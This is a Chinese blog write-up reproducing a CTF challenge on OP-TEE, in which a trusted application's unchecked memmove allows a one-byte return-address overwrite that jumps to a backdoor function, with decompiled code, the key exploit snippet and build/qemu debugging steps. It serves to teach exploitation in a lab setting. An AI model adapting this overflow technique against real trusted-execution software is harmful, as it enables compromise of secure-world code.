L3HCTF 信じてください、先輩!!复现

前情提要

OPTEE 是什么

这题与 OPTEE 有关。可以理解成,这个机器上同时运行有两个 OS:一个是正常的 OS 来处理不需要保密的内容,一个是安全的 OS (OPTEE),涉及保密的内容在这个安全 OS 里面操作。通过 trusted firmware 来启动这两个 OS,相当于这两个 OS 的 bootloader。这两个系统之间的交互通过一些可信应用 trusted application 完成。

ta 必须要实现一些入口点

TA_CreateEntryPoint()       分配资源
TA_DestroyEntryPoint()      释放资源
TA_OpenSessionEntryPoint()  开启链接、验证
TA_CloseSessionEntryPoint() 释放连接
TA_InvokeCommandEntryPoint()执行命令

目录结构和文件

附件的目录结构如下:

λ giacomo attachment 20:13 → tree .
.
├── Image                       ->普通内核
├── flash.bin                   ->armv8 atf 的 bl1 和 bl2
├── qemu-system-aarch642	    ->普通qemu
├── rootfs.cpio.gz				->普通fs
└── start.sh					->启用/禁用模拟实现 Arm 安全扩展 (TrustZone)

1 directory, 5 files

比较特别的是这个 flash.bin,ATF 以 flash based firmware 的方式启动。

gzip -d -c rootfs.cpio > rootfs 
cpio -idmv -D ./fs < rootfs

解压一下在 /lib/optee_armtz/ 目录下有一个 8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta 的可信应用。( tee-supplicant 这个守护进程会在 /lib/optee_armtz/ 目录下获取 ta 程序并且加载进 TEE,是 REE 和 TEE 的沟通桥梁)。root 下面也有这个 ta ...可能是怕藏得太隐蔽没人会注意到吧...

ta 分析

可以和 optee_example bin diff 来恢复部分符号。恢复之后有个函数看起来像 TA_InvokeCommandEntryPoint:

__int64 __fastcall sub_1E8(__int64 a1, int cmd_id, int paran_type, TEE_Param *param)
{
  unsigned int v4; // w19
  TEE_Param *v6; // x23
  char buffer1[40]; // [xsp+40h] [xbp+40h] BYREF
  char buffer2[56]; // [xsp+68h] [xbp+68h] BYREF

  if ( cmd_id )
    return 4294901766LL;
  if ( paran_type == 101 )
  {
    v4 = 0;
    v6 = param + 1;
    memmov(buffer1, param->memref.buffer, param->memref.size);  // overflow
    trace_printf("move", 0x30u, 3u, 1u, "Recv_buffers1: %s\n", buffer1);
    memmov(buffer2, (_BYTE *)param[1].memref.buffer, v6->memref.size);
    trace_printf("move", 0x37u, 3u, 1u, "Recv_buffers2: %s\n", buffer2);
  }
  else
  {
    return (unsigned int)-65530;
  }
  return v4;
}

有一个在 OPTEE 中的 buffer overflow

BUFFER OVERFLOW

arm overflow

arm64 函数调用流程大概是,x0-x4 存放前四个参数,x29 是 old frame register, x30 是 return address。一个例子:

triple(int):
        stp     x29, x30, [sp, -32]!
        mov     x29, sp
        str     w0, [sp, 28]
        ldr     w0, [sp, 28]
        bl      square(int)
        mov     w1, w0
        ldr     w0, [sp, 28]
        mul     w0, w1, w0
        ldp     x29, x30, [sp], 32
        ret
  • stp x29, x30, [sp, -32]! store a pair of register,把它两存放到 sp - 32 的地方,并且移动 sp = sp -32。Pre-indexed。

  • mov x29, sp 更新 x29 寄存器

  • str w0, [sp, 28] 第一个参数存在 x0 第 32 位是 w0

  • bl square(int) 跳转时把下一条指令地址存放进 x30

  • ldp x29, x30, [sp], 32 恢复 x29x30 寄存器。Post-indexed。

  • ret 相当于 mov pc, x30

由于 x29 和 x30 存放在低地址,如果溢出的话,需要控制的是上一个函数的 x30

image-20240509224533978

debug

参考 Wings 的博客

Normal world 和 Secure World 都有日志, qemu 启动脚本里加上这 -serial tcp:localhost:54320 -serial tcp:localhost:54321, 然后启动前用 build/soc_term.py 监听这两个端口即可. Secure World 有个程序叫 ldelf, 他负责把 TA 装载进内存. 装载的时候有部分地址随机, 在 CA 调用 TEEC_OpenSession() 后, TEEC_InvokeCommand() 前用 getchar() 停下, 日志里会有输出装载地址, 就知道在哪下断点了.

image-20240510173302523

exp

覆盖上一个返回地址为 sub_2B4 的后门儿,0xd4 -> 0xb4 只用修改一个字节

.text:00000000000002B4                               sub_2B4
.text:00000000000002B4                               ; __unwind {
.text:00000000000002B4 E8 06 80 D2                   MOV             X8, #55
.text:00000000000002B8 01 00 00 D4                   SVC             0
.text:00000000000002BC 08 00 80 D2                   MOV             X8, #0
.text:00000000000002C0 01 00 00 D4                   SVC             0
.text:00000000000002C4 C0 03 5F D6                   RET
.text:00000000000002C4                               ; } // starts at 2B4

exp 关键部分是这样:

	char *exp = malloc(0x100);
	memset(exp, 'c', 64);
	*(exp + 64) = 0xB4;
	op.params[0].tmpref.buffer = exp;
	op.params[0].tmpref.size = 0x10;

	op.params[1].tmpref.buffer = exp;
	op.params[1].tmpref.size = 64+1;

然后就通过后门拿到 flag

# ./exp

l3hctf{test_flag}

ps 编译不明白

用题目的"usr/lib64" 目录下的 libs,试图动态链接 libteec 和静态链接 libc 。但是 segmentatin fault。

aarch64-linux-gnu-gcc -o exp exp.c -L"../usr/lib64" -Wl,-Bstatic -lc -Wl,-Bdynamic -lteec

# in qemu
# ./exp
Segmentation fault

如果两个全都动态链接,其实连接的是本地的,但是 -L 选项指定的不是优先的路径么...

aarch64-linux-gnu-gcc -o exp exp.c -L"../usr/lib64" -lteec

# in qemu
# ./exp
./exp: /lib64/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)

只好把所有依赖都放进目录里了...

echo "cd root"
cd fs/root
aarch64-linux-gnu-gcc -L"../lib" -L"../usr/lib" -o exp exp.c -lteec
patchelf --set-interpreter ./ld-linux-aarch64.so.1 ./exp
patchelf --set-rpath . ./exp
echo "cd fs"
cd ..
find . | cpio -o --format=newc > ../rootfs
echo "cd attachment"
cd ..
gzip rootfs
echo "run qemu"
./qemu-system-aarch642 \
        -nographic \
        -smp 2 \
        -machine virt,secure=on,mte=off,gic-version=3,virtualization=false \
        -cpu max,sve=off,pauth-impdef=on \
        -d unimp  \
        -m 1057 \
        -monitor /dev/null \
        -bios flash.bin           \
        -initrd rootfs.gz \
        -kernel Image -no-acpi \
        -append 'console=ttyAMA0,38400 keep_bootcon root=/dev/vda2 ' \
        -object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 -netdev user,id=vmnic -device virtio-net-device,netdev=vmnic -serial tcp:localhost:54320 -serial tcp:localhost:54321 -S -s
posted @ 2024-05-10 18:56  giacomo捏  阅读(26)  评论(0编辑  收藏  举报